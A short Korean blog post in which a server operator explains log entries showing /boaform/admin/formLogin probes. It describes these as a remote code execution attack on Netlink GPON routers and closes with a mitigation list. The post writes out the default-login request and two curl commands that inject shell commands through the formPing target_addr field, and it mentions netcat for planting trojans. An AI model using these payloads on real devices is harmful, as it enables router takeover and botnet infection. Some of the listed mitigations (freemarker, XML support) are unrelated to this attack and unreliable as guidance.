서버를 도메인에 연결시키고 시간이 좀 지나서 로그를 보니 누군가가 boaform/admin/formlogin 공격을 시도하였다.

저런 경로를 설정한 적도 없고 스웨거 경로는 private으로 해놔서 도메인을 착각하고 잘못 요청했나 싶기도 했지만, 도메인에 연결하자마자 수많은 요청을 한 것으로 보아 취약점 공격이라는 느낌이 크게 왔다.

찾아보니 RCE 취약점 공격의 하나였다.

RCE(Remote Code Execution)

RCE란 원격코드 실행 명령어를 뜻하는데, 
명령어를 통해 악의적인 코드를 실행시키고 특정 라우터를 봇넷으로 감염시켜 DDoS 공격을 수행시킨다.

그럼 왜 하필 /boaform/admin/formlogin 경로로 공격했을까?

이는 Netlink GPON Router의 default 관리자 로그인 경로였으며 여기서 잘못된 입력 유효성 검사로 시스템에서 악의적인 코드를 실행할 수 있게 한다.

Netlink 라우터를 쓰고 있다면 위험할 수도? 있었지만 아마 도메인 서비스 회사에서 미리 막아두지 않았을까 싶다.

그렇다면 이러한 공격이 어떤 방식으로 이루어질까

Payload

GET /boaform/admin/formLogin?username=user&psd=user

해당 기기, 즉 도메인에 로그인이 성공하면 RCE 성공이 가능해진다.

RCE 공격은 /boaform/admin/formPing 경로에 있는 target_addr 변수를 POST 요청할 경우 해당 변수를 확인하지 않기 때문에 시스템 명령을 호출할 수 있다.

Command

curl -L -d "target_addr=;ls \\&waninf=1_INTERNET_R_VID_156" \
'http://TARGET_IP/boaform/admin/formPing'

또는

curl -L -d "target_addr=;cd /tmp; rm viktor.mips;" \
'http://TARGET_IP/boaform/admin/formPing'

이후에는 nc 또는 netcat 등의 명령어로 라우터 내부구조를 파악한다거나 해서 트로이 목마 등의 악성 프로그램을 설치할 수 있게 된다.

Solution?

특정 기기에 대한 취약점 공격이 온다면,

  1. 지금 쓰고 있는 기기의 정보 파악
  2. 기기 펌웨어 업데이트, 계정 비활성화, 권한(읽기) 등의 관리
  3. freemarker 미사용
  4. 사용하지 않는 REST 플러그인 삭제
  5. XML 지원 삭제
  6. 실시간 모니터링과 신속한 IP 차단

등이 있다.